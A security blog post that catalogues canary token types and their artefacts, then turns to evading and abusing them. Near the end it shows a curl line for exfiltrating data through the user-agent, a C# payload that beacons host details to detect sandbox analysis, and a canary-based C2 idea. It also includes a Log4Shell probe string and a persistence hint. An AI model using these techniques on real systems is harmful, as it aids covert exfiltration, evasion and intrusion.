Blog Canary Tokens
Post
Cancel

Canary Tokens

Canary tokens are a great tool that defenders can use to detect malicious activity on their network. Canary tokens are files/alerting mechanism that makes a “phone home” to alert the creator that the resource has been accessed (sometimes called a honeytoken). These alerts can be received as either an email or webhook.

Thinkst provides the popular canary token service, but a honeytoken can be made through other means. This post will focus on the canary token platform but concepts can be applied elsewhere. These tokens can be implemented in a variety of different and creative ways such as an Invoke-WebRequest to the canary URL when an attacker adds a machine account to AD


Token Types

Using the canarytokens.com, web app, we can create 23 different types of tokens:

URL

  • Simple URL
  • Ex: http://canarytokens.com/articles/static/<tracking string>/index.html

Update 2024: Thinkst added the option to grab a fingerprint of the browser that triggered the token to several token types. This can be selected after the token is generated and is an option for other token types:

browser scanning option


If this is selected, the following additional information will be grabbed:

  • mimeTypes
  • vendor
  • language
  • platform
  • OS
  • Browser
  • Java Script
    • enabled/disabled
    • installed/not installed
    • version

This information is grabbed by using PluginDetect v0.9.1:

plugin detection


Browser fingerprinting is a powerful method to identify users and is often used by advisories to bypass 2FA prompts if their login is originating from a trusted fingerprint. You can see many more fingerprinting techniques here.


DNS

  • Triggered if DNS lookup is performed
  • Ex: <tracking string>.canarytokens.com


AWS Keys

1
2
3
4
5
[default]
aws_access_key=<tracking access key>
aws_secret_access_key=<tracking secret key>
region=us-east-2
output=json


Sensitive Command

  • Outputs a .reg file
  • Adds entry into HKLM (so you must run as admin)
  • Note: The same method can be applied for offensive persistence when a process is started
  • This reg entry will monitor for a specific executable name. You can specify executables that are currently not on the system
    • Ex: anydesx.exe rubeus.exe sharphound.exe
    • If the name of the executable is changed, it won’t trigger rubeus.exe —> rubeusLOL.exe
  • The below example monitors when klist is ran:
1
2
3
4
5
6
7
8
9
10
11
12
Windows Registry Editor Version 5.00
; Sensitive command token generated by Thinkst Canary
; Run with admin privs on Windows machine as: reg import FILENAME

; command that will be watched for
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\klist.exe]
"GlobalFlag"=dword:00000200

; magic unique canarytoken that will be fired when this command is executed
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\klist.exe]
"ReportingMode"=dword:00000001
"MonitorProcess"="cmd.exe /c start /min powershell.exe -windowstyle hidden -command \"$($u=$(\\\"u$env:username\\\" -replace('[^\\x00-\\x7f]|\\s', ''))[0..63] -join '';$c=$(\\\"c$env:computername\\\" -replace('[^\\x00-\\x7f]|\\s', ''));Resolve-DnsName -Name \\\"$c.UN.$u.CMD.<tracking string>.canarytokens.com\\\")\""


When an attacker first gets a foothold on a system, they will often execute typical recon commands to gather information about the environment. A typical user will most likely never run any ps/cmd commands so the examples below are a good start to detect malicious activity. from a standard workstation:

1
2
3
4
5
6
net.exe
ipconfig.exe
whoami.exe
nslookup.exe
netstat.exe
route.exe


.docx

  • Office files ending in .*x are compressed files. Use a tool such as 7zip to extract the contents
  • Has an external relationship within document.docx\word_rels\footer2.xml.rels named rId1
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
  Target="http://canarytokens.com/tags/<tracking string>/index.html" TargetMode="External"/>
</Relationships>


.xlsx

  • Has an external relationship within spreadsheet.xlsx\xl\drawings_rels\drawing1.xml.rels named rId1
1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/image"
  Target="http://canarytokens.com/images/<tracking string>/post.jsp" TargetMode="External"/>
</Relationships>


Kubeconfig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
apiVersion: v1
kind: Config
clusters:
- cluster:
    certificate-authority-data: <tracking string>
    server: https://52.18.63.80:6443
  name: k8s-prod-cluster
users:
- name: k8s:cicd:admin
  user:
    client-certificate-data: <tracking string>
    client-key-data: <tracking string>
contexts:
- name: k8s:cicd:admin-k8s-prod-cluster
  context:
    cluster: k8s-prod-cluster
    user: k8s:cicd:admin
current-context: k8s:cicd:admin-k8s-prod-cluster


WireGuard VPN

1
2
3
4
5
6
7
8
9
[Interface]
  PrivateKey = <tracking string>
  Address = 192.168.123.107/32

[Peer]
  PublicKey = <tracking string>
  AllowedIPs = 192.168.1.0/24
  Endpoint = 52.18.63.80:51820
  PersistentKeepalive = 90


Website Cloning

  • JS snippet that can be added to a website
  • Most major organizations such as Google and Microsoft use custom techniques similar to this to detect phishing
  • If an organization’s website is prone to being used in a phish, it’s highly recommended to implement this technique
1
2
3
4
5
6
7
8
if (document.domain != "amartinsec.com" && document.domain != "blog.amartinsec.com" ) {
  var l = location.href;
  var r = document.referrer;
  var m = new Image();
  m.src = "http://canarytokens.com/"+
    "<tracking string>.jpg?l="+
    encodeURI(l) + "&amp;r=" + encodeURI(r);
}

The above is the default JavaScript that the platform provides. I recommend adding some JS obfuscation to the code, so it’s not as obvious to an attacker.

Update (September 26, 2023): Thinkst added the option to obfuscate the JS payload:

Obfuscation of JS


Obfuscation is done using javascript-obfuscator with the following settings:

1
2
3
4
5
6
7
8
9
10
11
12
13
var obfuscatedCode = JSObfuscator.obfuscate(innerClonedsite_js, {
    compact: true,
    simplify: true,
    stringArray: true,
    stringArrayRotate: true,
    stringArrayShuffle: true,
    stringArrayCallsTransform: true,
    stringArrayThreshold: 1,
    stringArrayIndexShift: true,
    stringArrayEncoding: ['base64'],
    splitStrings: true,
    splitStringsChunkLength: 4,
  }).getObfuscatedCode();


QR Codes

  • QR code that links to a canary URL
  • Ex: http://canarytokens.com/articles/<tracking string>/submit.aspx


MySQL Dumping

1
2
3
4
5
6
7
SET @b = <base64 encoded string>;
SET @s2 = FROM_BASE64(@b);
PREPARE stmt1 FROM @s2;
EXECUTE stmt1;
PREPARE stmt2 FROM @bb;
EXECUTE stmt2;
START REPLICA;
  • Decoded base64 string:
1
2
SET @bb = CONCAT("CHANGE MASTER TO MASTER_PASSWORD='my-secret-pw', MASTER_RETRY_COUNT=1, MASTER_PORT=3306,
MASTER_HOST='<tracking string>.canarytokens.com', MASTER_USER='<same subdomain tracking string>", @@lc_time_names, @@hostname, "';");


Opening a Folder

  • Folder containing hidden desktop.ini file
  • .ini file contains a UNC path to the canary server:
1
2
[.ShellClassInfo]
IconResource=\\%USERNAME%.%COMPUTERNAME%.%USERDOMAIN%.INI.<tracking string>.canarytokens.com\resource.dll


Log4Shell Detection

  • String to spam web apps to detect Log4Shell vulns
  • Ex: ${jndi:ldap://x${hostName}.L4J.<tracking string>.canarytokens.com/a}
  • Add a match-and-replace rule to Burp Suite and go crazy


Fast Redirect

  • Redirects to chosen URL
  • http://canarytokens.com/static/<tracking string>/submit.aspx


Slow Redirect

  • Redirects to chosen URL
  • Provides the token creator with additional information compared to the fast redirect
  • Obvisouly by the name, this is a slower than the fast redirect
  • http://canarytokens.com/tags/<tracking string>/post.jsp


Custom Image Web Bug

  • Remote image that triggers when it is requested
  • This is often how people may know if you’ve opened their email
    • Include a link to a 1x1 pixel image within an email
    • If image is requested from the remote host, they’ve opened the email
    • This is less common now that email clients are blocking external resources by default External Resource Warning


PDF

  • Triggers from a DNS lookup when opening the .pdf
  • This will not trigger if opened in a browser. Needs to be opened in Acrobat
  • A security warning is presented when opening through Acrobat: Adobe warning


Custom .EXE/.DLL

  • A custom PE file that triggers on execution/load
  • The token creator provides the .exe/.dll file
  • Submit a benign .exe/.dll file with a canary token to VirusTotal and see how many times it gets triggered:
    • 100+ triggers within days from a sample I sent
    • Most likely many more that were ran in a sandbox without outbound access
    • Submitting to a site like antiscan.me only resulted in two alerts
    • This is why you don’t test your implants on VirusTotal if you want them to stay undetected
  • Thinkst adds its own code signing certificate to the PE for alerting. The canary URL is referenced in two fields of the cert:

Authority Information Access Field:

1
2
3
4
5
6
7
8
[1]Authority Info Access
     Access Method=Certification Authority Issuer (1.3.6.1.5.5.7.48.2)
     Alternative Name:
          URL=http://<tracking string>.canarytokens.com/any_path.cer?any=params
[2]Authority Info Access
     Access Method=On-line Certificate Status Protocol (1.3.6.1.5.5.7.48.1)
     Alternative Name:
          URL=http://<tracking string>.canarytokens.com/any_path.oscp?any=params


CRL Distribution Points:

1
2
3
4
[1]CRL Distribution Point
     Distribution Point Name:
          Full Name:
               URL=http://<tracking string>.canarytokens.com/any_path.crl?any=params


MS SQL Server

  • Alerts when UPDATE SELECT DELETE or INSERT commands are run (chosen by the creator)
  • Implemented by adding a stored procedure:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
--create a stored proc that'll ping canarytokens
      CREATE proc ping_canarytoken
      AS
      BEGIN
          declare @username varchar(max), @base64 varchar(max), @tokendomain varchar(128), @unc varchar(128), @size int, @done int, @random varchar(3);

          --setup the variables
          set @tokendomain = '<tracking string>.canarytokens.com';
          set @size = 128;
          set @done = 0;
          set @random = cast(round(rand()*100,0) as varchar(2));
          set @random = concat(@random, '.');
          set @username = SUSER_SNAME();

          --loop runs until the UNC path is 128 chars or less
          while @done <= 0
          begin
              --convert username into base64
              select @base64 = (SELECT
                  CAST(N'' AS XML).value(
                        'xs:base64Binary(xs:hexBinary(sql:column("bin")))'
                      , 'VARCHAR(MAX)'
                  )   Base64Encoding
              FROM (
                  SELECT CAST(@username AS VARBINARY(MAX)) AS bin
              ) AS bin_sql_server_temp);

              --replace base64 padding as dns will choke on =
              select @base64 = replace(@base64,'=','-')

              --construct the UNC path
              select @unc = concat('\\',@base64,'.',@random,@tokendomain,'\a')

              -- if too big, trim the username and try again
              if len(@unc) <= @size
                  set @done = 1
              else
                  --trim from the front, to keep the username and lose domain details
                  select @username = substring(@username, 2, len(@username)-1)
          end
          exec master.dbo.xp_fileexist @unc;
      END

      --add a trigger if data is altered
      CREATE TRIGGER TRIGGER1
        ON TABLE1
        AFTER INSERT
      AS
      BEGIN
      exec ping_canarytoken
      end


SVN Checkout

  • svn propset svn:externals "extras http://<tracking string>.canarytokens.com" .


Sending to a Created Canary Email (SMTP Canary)

  • Email that alerts when it receives an email
  • The token creator can see the email headers
  • Ex: <tracking string>@canarytokens.com


Credit Card

  • Released early 2023, Thinkst now provides valid credit card (number, expiration date, CVC) tokens. They recommend placing these credit card cards on sites that store your actual credit card information. Currently, it seems that Thinkst is rate limiting creation of tokens.

  • These tokens provide a name, card number, expiration date, and CVC. If triggered, the creator will be provided the following information:

    • Time
    • Authorizing Merchant
    • Transaction Amount
    • From testing, it looks like only American Express numbers are provided (CC starts with either a 34 or 37).


Azure Login Certificate

  • Added to the free version in February 2023
  • Commercial users have had this token longer (I’m unsure of the date)
  • Similar to the AWS API key token
1
2
3
4
5
6
7
{
  "appId": "<canary appId>",
  "displayName": "azure-cli-gp3NMRwQwkAUISlk6uu8eTeDOp91W8H6",
  "fileWithCertAndPrivateKey": "azcert",
  "password": null,
  "tenant": "<canary tenant>"
}

What does the Canary Say?

When a token is triggered, the creator is notified via email or webhook request. For most token types, the following information is captured:

  • Token type
  • Date and time
  • IP
    • Country
    • City
    • Region
    • Organization
  • If the alert is from known TOR exit nodes
  • Useragent (HTTP token)
  • Email header (email token)


The HTTP slow redirect token provides the most information:

  • JavaScript
    • enabled/disabled
    • installed/not installed
    • version
  • Browser
    • Mimetypes
    • Vendor
    • Language
    • Enabled
    • Installed
    • Platform
    • Version
    • OS
    • Browser

The slow redirect token will also attempt to enumerate plugins (plugins are different from extensions). These include:

  • activeX
  • DevalVR
  • Flash
  • QuickTime
  • Silverlight
  • QuickTime
  • RealPlayer
  • VLC
  • Windows Media Player
  • Java
  • Adobe
  • Shockwave

Silencing the Canary

If generating a token from canarytokens.org, all tokens will call home to either canarytokens.com/* or *.canarytokens.com. Due to this, there are several methods that we can take to prevent the canary from calling home.

The Canary Token platform can be self-hosted by orgs allowing the token to “phone home” to different domains: Self-Hosted Repo. Blue teamers can also take a different approach when setting up tokens by adding a layer of redirection. Create a redirection rule for a unique URL that points to the alert URL. Next, generate a token and swap out the alert URL with the redirection address. Now, if a savvy attacker is searching for *canarytokens.com/* while in an environment, they may miss the redirection rule and you’ll still get the alert. <TODO publish .htaccess redirect rule>


If running a local instance of CanaryTokens or using the free version, the URL path will contain the following:
/about/ /feedback/ /static/ /terms/ /articles/ /images/ /tags/ /traffic/


And it will have one of these four endpoints:
/index.html /contact.php /post.jsp /submit.aspx


The above can also be seen in the response from canarytokens.org after generating a token:

JSON response after creating a token


The token itself will be a random 25 character UUID with lowercase a-z and 1-9. If self-hosted, the token can be chosen by the user but will still need to follow the same format.

The path and endpoint are not needed to trigger a token. All that is needed is the hostname and tracking string.


Blocking the Token’s Domain

The most basic way to silence the canary is to block the domain. This will work for any token generated from the canarytokens.org platform. The easiest way to do this is by pointing the canarytokens.com domain to a different IP such as 127.0.0.1 within C:\Windows\System32\Drivers\etc\hosts:

1
127.0.0.1   canarytokens.com


Or if on *nix, edit /etc/hosts:

1
127.0.0.1   canarytokens.com


This method isn’t foolproof as self-hosted platforms will be using a different domain name. Due to the ease of deploying through the web application, this will cover the majority of tokens seen in the wild.


Blocking Self-Hosted Tokens

Since we know the default endpoints and that the tracking string is a 25 character UUID, we can build a rule that will block tokens even if they are self-hosted. Here’s a yara rule I quickly threw together:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rule canarytokenpath
{
  meta:
    description = "Detect CanaryTokens through the Canary URL. Will work on self-hosted if default paths are used."
    author = "amartin@amartinsec.com / @amartinsec"

  strings:
    $pathRegex= /\/(about|feedback|static|terms|articles|images|tags|traffic)\//
    $endpointRegex = /\/(index.html|contact.php|post.jsp|submit.aspx)/
    $trackingString = /[a-z0-9]{25}/

  condition:
    $pathRegex and $endpointRegex and $trackingString
}

The above will not work on tokens that trigger on DNS lookups. These tokens trigger on a lookup such as /.canarytokens.com making detection more difficult.


Once again, this is still not a silver bullet as all that is needed to trigger a token is the hostname and tracking string. If a self-hosted instance is not using the default paths and endpoints, the above detection will not work. There is little we can do since alerting on a 25 character UUID would result in many positives.


Blocking within Offensive Tools

It is important to know what your toolset is doing under-the-hood when performing offensive ops. If you suspect that a canary tokens may be in use, there may be several modifications you may need to make.

Two examples include:

  • Burp Suite
    • Proxy > Options > Match and Replace
    • Create a rule to replace the canarytokens.com domain with something that will not resolve. Ex:
    • BURP_Detected_A_Canary_Token.BLAH
  • Add a custom function in a website cloning tool (ex: An aggressor script for Cobalt Strike’s website cloning) that will alert if the canarytokens.com domain is detected


Enterprise Tokens

Everything mentioned above applies to the free version of CanaryTokens. I haven’t had the opportunity to thoroughly test the enterprise version, but there are differences. From what I’ve seen, Office documents contain a .bin (ex. printersettings.bin) that will reach out to the alerting server via a UNC path. I will say, I have been caught once in the past by quickly opening a passwords.xlsx file that was found on an open share. Use your brain if you see something that is too good to be true, and open it in a sandbox.


Offensive Canary Use

Canary tokens aren’t exclusive to the blue team. There are multiple ways that they can be used in an offensive manner while operating

BadBird C2

Using the useragent, we can pass arbitrary data to and from the canary platform. This can be used to create a command and control channel between the attacker and victim.

Boredom over the Thanksgiving holiday led me to create a POC of this:

BadBird

Check out BadBird here


Update 2024: I’ve made the BadBird repo private due to reports of the platform being used by APT’s for data exfil. Thinkst seems to have also added additional rate limiting that causes issues with the platform. Once again, I believe Thinkst to be a great company that has this tool for free, so I don’t want to cause any issues for them.


Alerting on AV Analysis

PE tokens work by signing the file with a certificate containing the canary token. For an attacker, this isn’t very OPSEC safe, so we should take a different route.

When creating a payload, we can add some simple functionality that will send a request containing relevant information within the UserAgent field. From the hostname, we can infer if the payload was intercepted and ran within a sandbox. Since the fast redirect token captures the useragent, we will send the domain and hostname in that field:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 static void canary()
        {
            //Build the webrequest
            //Set token var to your token url
            var token = "<canary token>";
            System.Net.HttpWebRequest request = (HttpWebRequest)WebRequest.Create(token);

            //Building the useragent with the domain and hostname
            var mn = Environment.MachineName;
            var dn = Environment.UserDomainName;
            request.UserAgent = (ma + "@" + dn);

            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            Stream resStream = response.GetResponseStream();
        }


After compiling and submitting to VirusTotal, we are alerted that the token was triggered. Within the useragent field, we can see the domain and hostname of the sandbox that triggered the token: VT submission


Alerting on Reverse Engineering Attempts

Collin Mulliner has a great post on how to use the Canary Token platform to alert on reverse engineering attempts.

Essentially, we can add a unique strings into our code (ex: mscoree_268G3.dll ((this .dll does not exist))) that will be present when someone trys to analyze our PE file. Next, a basic web application is hosted with the title or keywords of the unique string. Add CanaryTokens to this web app and wait for the string/page to get indexed by Google.

Now, if the payload is intercepted and analyzed by an advanced defender, they will likely research the unknown .dll, open your web application, and trigger the token. The benefit of this method is that this will only get triggered if a defender searches for the string and not if it’s submitted to a sandbox.


Data Exfil

Using the useragent field of an HTTP request, we can exfil data from an environment. The useragent has a recommended length of about 200 characters, but we can get away with more. I’ve found that the useragent can be up to 8100 characters if using the canarytokens.org platform.

1
curl -A <up to 8100 characters> <canary token url>


Alert Flooding

If conducting a tabletop exercises, a good scenario to add is how your organization would react to a flood of alerts. An organization that has mass deployed canary tokens may not be able to successfully triage a flood of alerts.

Contents